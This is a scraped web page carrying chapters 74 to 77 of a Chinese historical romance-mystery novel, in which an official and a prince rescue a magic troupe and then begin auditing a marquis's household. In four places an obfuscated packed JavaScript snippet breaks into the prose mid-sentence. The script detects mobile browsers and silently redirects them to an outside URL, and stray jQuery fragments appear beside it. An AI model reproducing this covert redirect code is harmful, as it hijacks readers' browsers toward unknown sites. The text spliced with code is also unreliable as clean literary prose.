老底儿全部被掀的容朗气得胸口都胀气了。 众人没敢笑出声,但是一双双眼睛都在他的发冠上打转。 这实在让人窘迫。 “都吃饱了?”李希言忽然出声,手里还端着碗,表情却很是公事公办的模样。 关风和打着哈哈:“都吃饱了最好,我省点……” “你抠门也有个下限吧?”卫川又从桌子中间舀起一大勺满满的羊肉汤,“继续!” 众人都收回了视线。 毕竟能够坑这个平时最抠门的同僚更重要些。 容朗低声在李希言耳边说着话。 “姐姐,我头发很奇怪吗?” 李希言手抖了一下。 “没有。” 见他声音都在发抖,李希言心里一软。 “你不说根本就看不出来。” “真的?!”容朗黯淡的目光瞬间一亮。 “没骗你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262358|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人有一搭没一搭地说着话。 其余人也吃得热火朝天。 一时之间,那些笼罩在他们身上的阴霾似乎都消散了。 瑞王凑过来,趴在容朗手臂上,对着李希言问道:“李少使,大家都不喝酒吗?” “在外办事,喝酒会误事。” 容朗一下想到了王佑年,忍不住笑了出来。 “你笑什么?”瑞王问道。 “没什么,就是,喝酒不仅误事,还会让人脑子变得不好,连男女都分不清。” 瑞王不明所以:“喝酒还伤脑子?” “伤。”李希言一本正经,“你看那些酗酒之人,反应慢不说,还会行动迟缓。” “最重要的是喝酒会让人无法自控。”容朗促狭道,“你想想要是有一日你喝醉了跑去大街上裸奔……” “不!”瑞王光是想想就觉得可怕。 李希言忽然想起了之前的一件事:“原来听金吾卫的人说过,还真有人喝醉了干这种事。” 二人从未听说过,一下好奇地看了过来。 “还去敲了大理寺的门,和那晚刚刚准备下值的黄寺卿撞了个满怀。” “怎么没听人说过!”瑞王抚掌。 这样猎奇的事情他竟然不知道? “丢人啊。”容朗瞥了他一眼,补充道,“丢整个国都的人。” 这种事情闹大了,第一个收拾的就是金吾卫,谁会去声张呢? “大人!”一个船工慌慌忙忙跑进来,对着李希言大喊,“前面有水匪。” “水匪?”李希言挑了挑眉。 他们这次专门坐的官船啊,谁家水匪胆子大到劫官船? 船工连忙摆手:“不不不!是劫前头的一个船,被劫的船在求救。” 李希言放下筷子,跟着船工走了出去。 这一闹,其他人也停下了碗筷,去了甲板。 果然,如同船工所言,不远处,一艘精巧的小船只上有几个人举着火把对着他们大喊。 “救命!有水匪!” 在小船后紧随着一艘大些的船,两船之间相隔不过一丈的距离。 没有哪个船航行不需要保持距离,一看就知道是这大船上的水匪想要登船了。 “开过去!”李希言立即下令。 在水上讨生活的人见到这种情况是必须要出手。 船工们早就调整好了方向,只等她一声令下,就拉紧帆加速开了过去。 水匪也不傻。 官船的船头上都绘着显眼的彩绘图案。 谁会和官船硬碰硬? 是以,船只还未到跟前,水匪的船就跑远了。 小船上的人一下松了口气。 “多谢各位大人。” 李希言朗声问道:“可有人受伤?” 小船上的一个船工有些不好意思地挠了挠头。 “没人受伤,就是这船……这船坏了。” “船坏了?”遇袭的阴影让李希言的心一下提到了嗓子眼儿。 “嗯……”船工话还未说完,身体就一沉。 船只已经开始下沉。 船舱内跑出一个中年男子,看着很是沧桑,一双手粗糙得不得了。 他耷拉着着眉毛,朝着李希言拱手道:“大人,我们是交州的戏法班子,这次回交州是为了给平南侯的老夫人贺寿。” 这话解了李希言的顾虑。 她侧开身,对着船工嘱咐:“把人都接上来。” 74. 绯闻 小船上的人不多,算上船工只有二十个人,随意安置也能在船上住下。 只是这戏班子的东西确实是不少。 光是箱子都搬了好几个来回。 戏班子的老板口舌伶俐,在一旁作着揖:“鄙人曲见山,让大人笑话了。我们戏班子就是道具太繁杂。” 李希言想起他所言平南侯府的事情,开始打听消息。 “你们是交州本地的戏班子?叫什么名字?” “鄙人的戏班子叫瑞祥班。前几月接了个活儿,去南诏那边给一个南诏的官员表演戏法,正赶着回来,没想到竟碰见了这样的事情。” “本官正好也要去平南侯府,你且安心住下。” 曲见山悄摸打量了几眼李希言。 绣衣使的官服,二十来岁的女子,眉头红痣。 他心底一颤。 “多谢李少使。” 李希言被叫破了身份,也不太惊讶。 “不必多礼。” 砰! 后方的道具箱忽然摔在地上,箱子被摔开,粉嫩嫩的桃子散落一地。 这个季节,怎么会有桃子? “小钉子!”曲见山面色陡然一变,呵斥着摔了箱子的小少年,“你是猪脑子吗!抱这么小个箱子都能摔地上!” 被叫做小钉子的少年看上去不过十三四岁,圆脸小眼睛,被这样当着外人的面骂,一时挂不住脸,眼泪都要淌出来了。 李希言正要开口,旁边一个二十来岁的青年走了过来,拉住了曲见山。 “师父,小钉子才多大,您和他生什么气?别气坏了自己身子。” 他一边劝着一边忙着把地上的桃子捡起来。 “傻愣在那儿干嘛!”他嘴上骂着小钉子,实则挡住了他,“还不快把东西都捡起来!” 曲见山的脸色这才缓和了过来。 “学学你师兄。学戏法倒是有脑子,道具也做得好,怎么在这做事上总是蠢的?” “小钉子还小呢。”见他怒气消了,那青年才上前。 李希言趁机岔开话题:“这桃子是道具?” 听见她问话,曲见山急忙转过身:“是呢,都是表演戏法的道具。” “做得很逼真。” 曲见山露出一份喜色:“大人谬赞了,吃饭的手艺罢了。” “你是准备演《蟠桃会》?”容朗也问道。 曲见山面露为难:“这……” 容朗理解一笑:“无碍,到时候不就知道了吗?” 面前的人虽然没穿官服,但是这浑身的贵气压都压不住,曲见山不敢得罪。 “多谢贵人体谅。” 小船上的东西很快搬完,已经歪斜的小船在视野中一点点消失。 曲见山叫着戏班的人对着李希言谢了又谢。 见他们都一脸倦色,李希言好心道:“船上还剩了些羊肉汤,你们去厨房喝了再睡吧。” 众人一晚上先是被水匪追赶又是忙着搬运东西,早就饥肠辘辘。 曲见山也不多客气,道了谢就带着戏班的人离开了。 甲板上顿时只剩下李希言与容朗二人。 “姐姐就这样把人接上船就不怕?” “他们确实是戏班子的人。” 容朗又问道:“平南侯老夫人大寿,我们也要去吗?” “自然是要的。”李希言侧目,“怎么?她的寿宴是千秋节?我不能找她晦气?” 怎么这话有点冲…… 容朗不明所以:“我只是怕到时候平南侯府借此搪塞。” 平南侯老夫人年纪不小,若是真倚老卖老,他怕她吃亏。 李希言心底莫名的烦躁散去。 “我最喜欢倚老卖老的人。” “嗯?” “这不正好给我把柄拿着吗?” 她一脸无所畏惧的淡然,容朗温柔一笑。 反正,自己有办法给她兜底就是了。 “那李少使到时候可别和我客气,随意使唤我哦。” 李希言眉头一皱,语调奇怪:“王爷没必要掺和平南侯府的事情。” 今晚这是怎么了? 容朗敏锐察觉到了她的不对,面上还是笑眯眯的。 “李少使这是什么话,这世上还有我不敢掺和的事情吗?” 李希言没有回答他,转过身,望着河面。 “时间不早了,王爷该去休息了。” 船只行驶了三日,已经快要到交州。 戏班的人在船上过得很适应,与船工们都达成了一片,是不是还玩几个小把戏炫耀炫耀。 今晚,船舱内。 小钉子被船工们起哄,非要他表演个什么。 他哪里拗得过去?只好硬着头皮摸出了一张白色的手帕。 手帕被舞了一下,瞬间变成了红色,又舞了一下变成了紫色。 最后,他把手帕塞在右手的拳头中,对着拳头吹了一口气,将手张开,手帕消失不见,取而代之的是一群飞舞的纸片,如同蝴蝶一般。 整个过程流畅自然,没有丝毫的痕迹。 众人喝彩。 坐在小钉子旁的青年一脸欣慰:“我们家师弟的戏法天份最佳,当年一眼就被师父挑中的。” “确实厉害!”一个船工也附和道,“我看啊,比那些年纪大的幻人演得还好!” 小钉子被夸得脸红。 “师兄也很厉害,好多还是你教的我呢。” 船工打听道:“听说你们这次要去平南侯府给侯府的老夫人贺寿?了不得啊!” 小钉子缩在师兄身后。 青年只好谦虚道:“运气好罢了。师父原本就去过平南侯府表演过不少次,侯府看惯了这才又叫了我们。” 船工一听这话更是兴奋。 “锯子兄弟真是谦虚!能让侯府记住,那就是你们班子本事大啊!我可听说过,这平南侯府虽然在我们交州这种偏僻地方,可是他家的老夫人可是京城里国公府的出身,不知见过多少世面,她能瞧得上你们班子的戏法,说明啊,你们这水平比京城里的班子都不差。” “大哥玩笑了。” “嘿!”另一个船工忽然压低了声音,“你们有没有听说过平南侯府的一桩事情啊?” “啥事儿?” “你刚刚不是说到他家老夫人我才想起来的。那位老夫人可是先太后的亲姑姑。” “哦~所以呢?” “你不知道?平南侯府早就有风声了,说是他家的二小姐是要给长乐王做正妃的。” “不……不会吧?” “怎么不会?” “也是啊,这王妃选来选去还不都是这些世家小姐。这还是表兄妹,亲上加亲……” “可是我不太喜欢平南侯府。” “那咋了?又不是让你娶。” “别说,平南侯府确实……” 门内的声音逐渐嘈杂了起来。 无人看见,窗外的角落处,一片黑色的衣角一闪而过。 天刚放亮,就到了交州的码头。 一下船,就是另外一番景象。 交州终年温度高,即使是冬日,也如同其他地方的初秋一般,就连树木都还是一片郁郁葱葱。 “还没见过这样的冬日呢。”容朗忍不住感叹,面上含着笑。 正指挥着人搬运东西的李希言动作一顿,一双眼上下打量了他一下。 这眼神有点带刺…… 容朗呼吸一滞:“怎么了?” “没什么。”李希言顿了顿,“王爷倒是喜欢这里。” 容朗心里想着和她在一起,去那儿都是好的,脸上的笑更深了。 “是很喜欢。” “王爷自可长留在此。” “啊?”对方这话说得让人摸不着头脑,容朗懵了一下。 然而还未等她反应过来,李希言就已经扬长而去,只留下一个背影。 “去平南侯府。” 容朗急忙追上去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272476|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“李少使!” 李希言心底莫名地烦躁,脚步又急又快,对他的呼喊置若罔闻。 自己哪里惹到她了? 容朗脑子飞速运转。 从昨晚开始就不对劲儿! 可是,自己什么都没做啊! 跟在李希言身边的苗青幸灾乐祸地瞅了他一眼。 哎呦~“奸臣”也有被少使“厌弃”的时候呢~ 一行人很快就到了平南侯府的大门口,却发现侯府的门紧闭着。 朱红色的大门,两侧是柱头被漆成黑色的柱子,上面还镶嵌着各式云纹的面板。 左右一望,延伸的院墙一眼看不到头。 还真是气派。 “叫门。”李希言左手按着刀柄。 钟力走上前,直接使劲儿捶了几下门。 大门被捶得砰砰响,很快门就被打开了。 门房本是一脸怒气,却在看清了来者后立即变了表情。 “小的见过大人。” 李希言颔首:“找你们侯爷有事。” “小的这就去……” 还没等门房说完,李希言就一马当先走了进去。 门房呆呆伸出手。 难道他们侯府要被抄家了? 平南侯府确实不小。 穿过外门要上好几级台阶才等得上内墙的大门。 内墙的大门是敞开的,一登上去就能看见一个极其宽敞的大院,足足有三丈长,四丈宽。要走上数步才能看得见招待客人的正堂。 守在正堂的仆人一见李希言一行人气势汹汹而来,都吓得乱了分寸。 李希言径直走到主位坐下,翘起腿,一脸的漫不经心。 “把你们侯爷请出来吧。” 仆人们纷纷欠身应下。 “是……” “李少使来得好突然!”一声中气十足的声音从门外传来。 仆人们让开一条路。 只见一个四十来岁的中年男子一脸怒气冲了进来。 他五官算不得出众,身姿却挺拔极了。 李希言看都不看他一眼,拿起桌上的橘子抛着玩儿。 她愈是如此,男子愈是气闷。 “李少使!本侯再不济也是陛下亲封的侯爷,你无缘无故,直接闯入我的府邸,是不是太不知礼数了些!” 李希言放下手里的橘子,终于正眼看了他一眼。 “本官来查你,还要先来知会你?岂不是太蠢?” 平南侯被她的直接弄得一口气哽在喉咙里,不上不下,憋得面色发青。 “侯爷何必如此疾言厉色。”晚来一步的容朗从容走进,走到李希言身旁坐下,“难道本王要见你,也需要通报求见不成?” 是长乐王! 平南侯面色更难看了。 虽然他的母亲确实和容朗有亲,但是此人是个油盐不进的冷性子,很难亲近。 双方交道很少。 更何况…… 他忍下气,挤出一个笑。 “王爷误会了。我只是怕敝府招待不周。” 李希言这才盯着他:“怎会不周?令堂寿诞在即,正好让本官领教一下贵府的富贵无极。” 平南侯眉心一跳,干巴巴地说道:“李少使说笑了……” “确实是说笑。”李希言冲着他勾起嘴角,眼神却满是冷意,“本官只是来找你要你家所有的账册的。” “账册?!”平南侯心脏狂跳,明明已经是凉快的时候,背上却已经湿透。 他知道这个李希言身边有个“小关算盘”,什么东西查不出来? 可是,他也不能拒绝。 正在他急得眼神发飘的时候。 门外传来一道苍老的女声,温和的声音让人一静。 “李少使来了?怎么也不让人给老婆子说一声,好让老婆子来见礼啊!” 李希言锐利的目光骤然射向门外。 国公府出身的老夫人。 确实不一样。 75. 对策 平南侯老夫人头发已经全白,但是光泽极佳,在阳光下呈出灿灿的银色。 她面容慈祥,精神烁烁,仔细看去,那双眼睛竟然和容朗长得有几分相似。 李希言还是站了起来,浅浅行了一礼。 “见过老夫人。” 平南侯老夫人没有说她的礼仪不算周到,反而笑得和善。 “老身一直没见过李少使的模样,今日一见才知道是个这么标致的孩子。”她亲热地握住李希言的手,“李少使眉头这颗痣生得尤其好,面带观音之相。” 李希言应付似的笑了笑。 “老夫人谬赞了。” 一旁的容朗开口道:“姑外祖母,许久不见。” 老夫人像是这才瞧见他似的,低呼了一声,又立即规规矩矩行了礼。 “老身见过王爷。” 容朗客气地扶起她:“姑外祖母不必多礼。” 若是换做旁人,被她这样一打断,查账的事情就要搁了下来。 可是李希言可不是一般人。 她直接继续说道:“侯爷何时把账册拿来?” “账册?什么账册?”平南侯老夫人问道。 李希言直直看着她:“贵府的账册,有人弹劾贵府收纳贿赂。” “血口喷人!”平南侯耐不住性子,勃然作色。 平南侯老夫人隐秘地瞪了他一眼。 沉不住气! “李少使。”她一脸坦荡,“这事情从何说起啊?我们侯府这么多年都是靠着自己的封地俸禄花销,怎么会做这种事,这其中有什么误会吧?” 李希言油盐不进:“是不是误会,一查便知。” “凡事要讲证据!”平南侯语气缓和了些,但是面色还是黑沉沉的,“总不可能什么证据都没有就要来查我侯府的账。” “查账不就是为了找证据吗?侯爷心虚什么?若是账目没有问题,本官自然也不会冤枉你。” 老夫人一把按住平南侯。 “李少使容老身辩白两句。” “老夫人请讲。” “再过几日就是老身的七十大寿了,您看看,这府里可有什么装饰?由此可见,敝府日常并不奢靡。” “这和本官需要查的事情无关。” 平南侯老夫人瞟了一眼一旁的容朗。 他就站在一边,没有任何插嘴的打算。 平南侯老夫人心里一沉,脸上还是笑着:“李少使这话也是有理的。不如这样,这些日子家里要筹备寿宴,这账肯定是乱的,不如等老身过完寿宴再查?” 李希言的眼神在她的脸上打着转。 这个老夫人确实厉害。 见她神情未变,平南侯老夫人只能继续说道:“就当是李少使赏脸,给老身的寿宴添几分光彩。” 她姿态放得极低。 李希言接受了:“老夫人不嫌弃我们绣衣使晦气就是了。” 平南侯面色这才好了起来。 “李少使这是什么话!都是为陛下办事。”平南侯老夫人亲亲热热握着她的手,“说绣衣司晦气的都是心虚的人,谁会说这种混账话!” “母亲!” “祖母!” 话刚落地,一群人就小跑着进来。 来的人都是平南侯府其他几个主人。 “没规矩!”平南侯老夫人嘴里斥责着,眼中却是一片柔光,“还不快来见过长乐王和李少使。” 没了怒气的平南侯还是会看眼色,立即上前介绍。 老大许尚安,长了一张方方正正的脸。其妻丁氏面容娇媚,说话也轻声细语的,是个难得一见的美人。 老二许宇和老大截然不一样。 五官秀气,双眼下一片乌青,气质阴郁,连说话都没精打采的。 据李希言了解,此人性好渔色,也因此在丧妻后没有哪个门当户对的人家愿意把女儿嫁给他,一直到如此都三十几岁了还没有正妻。 老三许佑长得和平南侯很是相像,都有一双凤眼,看上去神采飞扬。他年纪不过二十来岁,也还没有娶亲。 据说是因为其未婚妻在即将成亲前得了急病去世,所以这婚事也就这样耽搁了下来。 剩下的一个是平南侯的幼女,许清嘉,十几岁的模样。 确实是如同传闻中的好相貌,容色清丽,眼神清澈明朗,一看就知道是个被保护得很好的小娘子。 几人倒是听话走上前一一行了礼。 丁氏的性子倒是爽快,一听二人要留下住,立即说道:“那我先去给大人们安排住宿?” 平南侯老夫人点点头,朝着二人炫耀道:“我这个孙媳妇,做事最是利落不过。” 容朗随口接了一句。 “姑外祖母好福气。” “是呢。”平南侯老夫人一把拉过许清嘉的手,“我这辈子呀,儿女双全,还有孝顺孙女儿在跟前逗着我乐,真是足够了!” 容朗没有接话,只笑了一下。 哪有当着外男的面使劲儿夸自己家未出嫁的女儿的呢? 除非是有所图。 平南侯一家人也反应了过来,借着闲聊的话把许清嘉夸了个遍。 没想到,面前这俩人接人待物都是异于常人之人。 二人根本没有像其他人一样如同他们所料一般接下话,反而沉默以待。 只是一个面无表情,一个随口敷衍几个字。 平南侯老夫人见容朗没接话,还以为是没听懂他们的言外之意。 她也不急。 “这时间也不早了,二位舟车劳顿,定然是累了。” 丁氏接话:“不如先移步客院歇息吧?” 二人各有各的不耐烦,欣然接受。 丁氏安排了三个挨着的院子给一行人暂住。 院子收拾得干净,床单被褥都已经换上了新的。 容朗巴巴的跟在李希言身后,等着她挑选院子。 “王爷该回自己的住处了。”李希言今日的脸色格外的差。 连平日里最爱插科打诨的关风和与卫川都溜了。 此时,院内只剩下二人和几个负责接待的婢女。 容朗对她的“逐客令”置若罔闻。 “李少使喜欢这个院子?” 李希言也不回答,大步跨进了房内,将腰间佩刀往桌上重重一放。 “就这儿。” 容朗笑眯眯地倚靠在门边。 “那我住隔壁。” 李希言没有搭理他,作势往床的方向走,一副要立即休息的模样。 “李少使好好休息。”容朗转身,“等会儿,我叫你用晚饭。” 他倒是走得潇洒。 李希言却气得胸口发闷。 见他就烦! “李……李少使……”婢女白着脸,“婢子给您打些水来?” 李希言知道自己吓到了她,稳住情绪:“有劳了。” 婢女松了口气,连忙去打水。 李希言坐在床边,愣愣地打量着屋内。 即使只是客院,装潢也是富丽堂皇……就像长乐王府一样。 她近乎嘲讽地一笑。 都是宗室嘛,和他们怎么会一样呢。 侯府老夫人所居住的院子叫做椿萱院。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285988|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>院子不如其他院落奢靡,却处处精细,正堂内的地上铺着厚实精美毛毯,桌椅的木质细腻如玉。 老夫人坐在主位,闭着眼,数着佛珠。 其余的人,包括平南侯都垂首站在其下,大气都不敢出。 “许霖。” 老夫人连名带姓地叫了平南侯。 平南侯上前一步:“母亲。” 老夫人倏然睁开眼。 “今日为何莽撞!” 平南侯直接跪了下来:“孩儿知错。” “知错?知错有用?知错能挽回长乐王对你的印象?”老夫人语气咄咄逼人。 在自己的子女面前被这样训斥,平南侯也有些挂不住脸,小声反驳:“是她李希言太无礼。” “李希言……”老夫人冷笑,“你也知道那是李希言!” 平南侯嘴唇动了动,忍住了回嘴的冲动。 “李希言是什么人?国师的师妹,绣衣司的少使。”老夫人拍了一下桌子,脸被憋得通红,“皇帝的亲信!” “祖母。”许尚安上前劝道,“您别动气,这事情也怪不得父亲,哪里有一上来就直接让人查账册的。” 许佑也附和道:“不知道的还以为是来抄家的呢。” “别胡说。”平南侯训斥道,“说这么不吉利的话做什么。” 许佑瘪了瘪嘴,没再说话。 老夫人长叹一口气。 抄家…… “趁着这段时间,好好把账册的问题解决了。还有,把寿宴办得简朴些。” 平南侯点头:“孩儿明白。” “来。”老夫人朝着许清嘉招招手,终于露出了一个笑,“到祖母这儿来。” “祖母~”许清嘉赖在老夫人怀里,撒着娇,“您就别生阿爹的气啦。” 老夫人的视线在她的面孔上停留。 “我们清嘉,长大了。” 许清嘉一下红了脸:“孙女才十七呢。” “不小了。”老夫人抱着她,“你觉得长乐王怎么样?” 许清嘉双颊微红。 “他……他很……哎呀,祖母不要问我了!” “喜欢就好。”老夫人放开她,坐正,对着平南侯说道,“你先起来。” 平南侯这才敢起身。 老夫人看了一眼靠在自己肩上的许清嘉才对着平南侯说道:“陛下派了人来,这次是怎么都躲不过了。但是只要撮合了这桩婚事,那就还有一线生机。明白吗?” “孩儿明白,只是……这长乐王也不简单啊。” 老夫人抚着许清嘉的头发:“再不简单也是个男人,更何况,兄长还在,他会给我这个面子。倒是……清嘉。” 许清嘉抬起头,一脸迷茫。 老夫人刮了刮她的鼻子:“我们清嘉这样美,有什么成不了的。” “祖母。”一直没说话的许宇阴恻恻地说道,“长乐王断发。” 关注着容朗的老夫人自然知道这事。 “听说他确实是是为了一个女子才……但是……”老夫人话锋一转,“若是那女子真和他成了事,他也不会去断发。” 她摆摆手:“去准备吧,寿宴办得清减些。把心思放到正事上来。” “可是母亲,这可是你的七十大寿啊!” “这道坎儿越不过去,你娘我就只能过着一回寿了。”老夫人语气很是不耐烦,“去准备。” “是。” 看着自家儿子的鹌鹑样,还有三个各异的孙子,老夫人忍不住骂了一句。 “瞧不起李希言?我看你们个个都不如她,白瞎了我给你们的好出身!” 77. 侯府 走出正厅,李希言停下脚步。 “你们先下去吧。” 婢女试探道:“大人能找得到路吗?” “没事。我陪王爷在这儿醒醒酒,一会儿原路返回就是了。” 婢女这才退了下去。 人一走,容朗就挺直了腰板。 “脖子疼。”他一边抱怨着,一边把脖子伸过去,“给揉揉呗。” 李希言看他可怜兮兮的,没好气地瞪了他一眼,才上手给他揉了两下,嘴里还讽刺着。 “王爷演累了?” 容朗讨好一笑:“没有姐姐喝酒累。”他探头探脑,在李希言身上瞧来瞧去,“姐姐,你怎么喝酒没醉啊?” “我喝不醉。”李希言的脸色如常。 容朗凑近在她的脸边嗅了嗅。 “你提前吃了药?” 李希言大方承认:“师兄给的。” 还不等容朗开口,她就摸出一个药瓶塞给他:“拿去。” 容朗美滋滋地把药瓶揣好:“李少使对我真好。” “去走走?”李希言向前走了几步。 傍晚的侯府格外美。 没人走动的游廊边一片青翠,正中间是一片池塘,池塘里游动着几尾体型优美的锦鲤,身上金色的鳞片在余晖的照映下泛着流光。 侧身抬头向上望去,一团团厚重如胭脂的紫红色霞云堆积在一起,又是几只不知名的鸟飞过。 容朗忽然想起了破云:“破云躲到哪里了?” “侯府太大了,人又多,她应该是藏在府外的林子里。” “难怪它愿意跟着你。” “不是跟着,是作伴。”李希言眼睛微微弯起,瞳孔中倒映着整片天空。 “对,是作伴。”容朗望着她的眼睛。 热爱自由的鹰最需要的是没有束缚的生活。只有这样的她们,才能凌驾于天空之上。 一只蝴蝶忽然从二人之间飞过。 “哪儿来的蝴蝶?” 容朗想要伸手,“蝴蝶”却飞速坠落。 李希言定睛一看:“是纸蝴蝶。” 形状剪得尤其好,所以一看还真让人会误以为是真的。 她有些好奇:“哪儿来的?” 容朗看向身侧的花窗:“是戏班子的道具吧?我记得变戏法的有个绝活儿……” “你怎么知道的这么多?”李希言在京城和其他地方也见过不少变戏法的,可是还真没见过和蝴蝶有关的戏法。 “先帝原来有个妃子,叫什么来着……”容朗回忆了一会儿才想起,“李充容。她跳舞的时候,只要一旋转,衣裙中就会飞出许多蝴蝶。我听张锦说,是个变戏法的手段。” “先帝好福气。” “李充容福气就没那么好了,她被先皇后落了胎后就失了宠,之后被活活打死了,死前还被先皇后砍去了手脚。”容朗想到死状凄惨的李充容,不由呼了一句佛号,“阿弥陀佛。” “人世最是不公平,先皇后一直到死都没有受到一点点报应。” 都知道,先皇后是生病死的,急症发作,迅速没了性命。 “谁知道呢?”容朗低头盯着地上的纸蝴蝶,纸蝴蝶做得很精美,就连颜色都是渐变的红,“人只要病了就不会有好果子吃的。” 他的声音很冷,失去了温度。 李希言心中一颤。 她好像窥到了什么秘密。 “姐姐。”容朗的声音就在她的耳边,低低的,刚好足够入耳,“怎么办?你知道了好多秘密……” 李希言浑身僵硬了一瞬,旋即拍开他。 “王爷的话,我听不懂。” 容朗一脸无辜:“药可是先国师配的哟~” 不知道他为何如此直接,李希言扭头就走。 容朗孜孜不倦地跟上。 “先帝的药也是。” 李希言要疯了。 她知道先帝的死有蹊跷,可是怎么也想不到,自己师父也插了一手。 忽然,她被容朗一把拉住。 “李少使,你知道了这些,就跑不掉了哦。” 李希言手腕一扭,反手擒住他的手。 容朗完全没喊疼,甚至目光还一直停留在二人交握处。 一股不好的预感让李希言飞速放开手。 “别这样嘛。”容朗指着外边,“我们去戏班那边看看?好不好?” 李希言先一步跨出垂花门。 “可以。” 这次来为寿宴表演的戏班子不少。 但是因为他们的身份不高,侯府就把所有人全部安排在了一起住。 院墙外爬满了当地少见的紫藤花,下面是肥沃的黑土,让紫藤花开得热烈。 二人站在花墙外,听着里面的动静。 唱戏的咿咿呀呀的声音,刀剑碰撞的叮铃声,还有各种乐器的声响,有鼓,有琵琶,有锣…… “真是可惜。”容朗嘲讽道,“请了这么多戏班子,应当是很热闹的。只是如今,为了我们,也不知道这戏班子还有几个能上场。” “确实可惜了,不过时间不早了。”李希言心里还惦记着一件事,“我们先回去吧。” “好啊。” 二人并排往回走。 没想到竟刚好看见一个横冲直撞的小少年在面前飞奔过去。 小少年身边带起的风在二人面前刮过。 “小钉子?”李希言记得这孩子的模样。 “又是他?这孩子还真是莽撞,也不怕……” 容朗的话音还未落下,一声惊呼从少年奔去处传来。 二人循声拐弯走过去。 只见小钉子正手足无措地站在一个坐在地上的孕妇面前。 妇人年轻尚轻,看上去不过二十来岁,脸色惨白地坐在地上。 还撞到了有身孕的人。 李希言立即走上前,半蹲在那妇人面前,关切道:“可有什么不适。” 妇人哭了出来:“肚子疼。” 李希言一下急了。 这妇人看上去有六七个月的身孕了。 “我来看看。”容朗半蹲在另外一侧,伸出手指:“手腕,摸脉。” 李希言解释道:“他懂医。” 妇人一听这话,立即将帕子搭在自己手腕上。 容朗按住她的手腕。 这脉象…… 他的脸色不太好看。 “没有大碍。但是……你……”他打量了这妇人一眼,一脸严肃,“怀孕时的禁忌要记清楚,什么事情要适可而止。” 妇人一脸羞愧低下头。 容朗也不愿意多嘴,站起身嘱咐道:“回去后吃点寿胎丸,平日里注意一下不要多动,遵循医嘱。” 话已至此,也算是点到为止了。 小钉子见人没事,才嗫嚅着开口:“对不住,紫葳姐姐……我……我……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304648|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 紫葳靠着李希言站了起来,勉强笑了笑,言语温柔。 “别再那么莽撞了。” 小钉子连连点头。 李希言看了一眼埋着脑袋的小钉子。 还没有紫葳高…… “我扶你回房。” 紫葳受惊似的缩了缩。 “大人……这……” 她知道面前二人绝对是官员,哪里敢劳动别人。 李希言直接问小钉子:“她住在哪里?” 小钉子年纪小,反而没那么多顾忌。 他只觉得面前二人是救过他们的官员,应该就是书里写的那种好官。 “紫葳姐姐和我们住在一个院子里。” “带路。” “嗯!”小钉子走在前面带路。 紫葳却欲言又止。 李希言见状问道:“不舒服?” “没……没有……只是……”紫葳不好意思地说道,“今日之事……二位大人可否不提?” “你不怕你夫君担心?”李希言有些疑惑。 这个妇人穿戴极好,一身衣裳满绣着灿烂的凌霄花,绣工精致,头上也戴着金灿灿的首饰,就连手上的镯子都是极好的水头。 更别说她的气色,白里透红,更显得她娇美如花骨朵一般。 一看就知道她家夫君对她极好。 紫葳瞟了一眼小钉子:“他家师父管教严厉,要是知道了,定是会打他的。左不过我也没出什么事儿……” 李希言颔首:“我明白了。” “多谢大人。” 一跨进院门,一个脸上还着着油墨的男子冲上前来。 “紫葳?”他一脸关切,“怎么脸色这样白?” “不小心摔了一下。”紫葳微微垂下头,“多亏了这两位大人送我回来。” 男子又仔仔细细打量了她好几次,发觉她并没有其他异样才松了一口气。 “多谢二位大人。”他朝着二人深深行了一礼。 “你是她夫君?”容朗表情有些怪异。 男子自我介绍道:“小的贾秀,是洪福班唱戏的。” 容朗斟酌了一二才说道:“你夫人的胎象不算稳当,你平日里要让她多休养。” 贾秀连连点头称是。 站在一旁的小钉子不安地看着他们。 紫葳主动说道:“夫君,我有些累了。” “我扶你。”贾秀急忙扶住他,又朝着二人再谢,“多谢二位了……” 李希言摆摆手:“快扶你夫人回房吧。” 等二人回到房内时,天色已经黑透了。 李希言没有赶人,反而去关了门窗。 容朗坐在榻上,眼神飘忽,不知道在想什么。 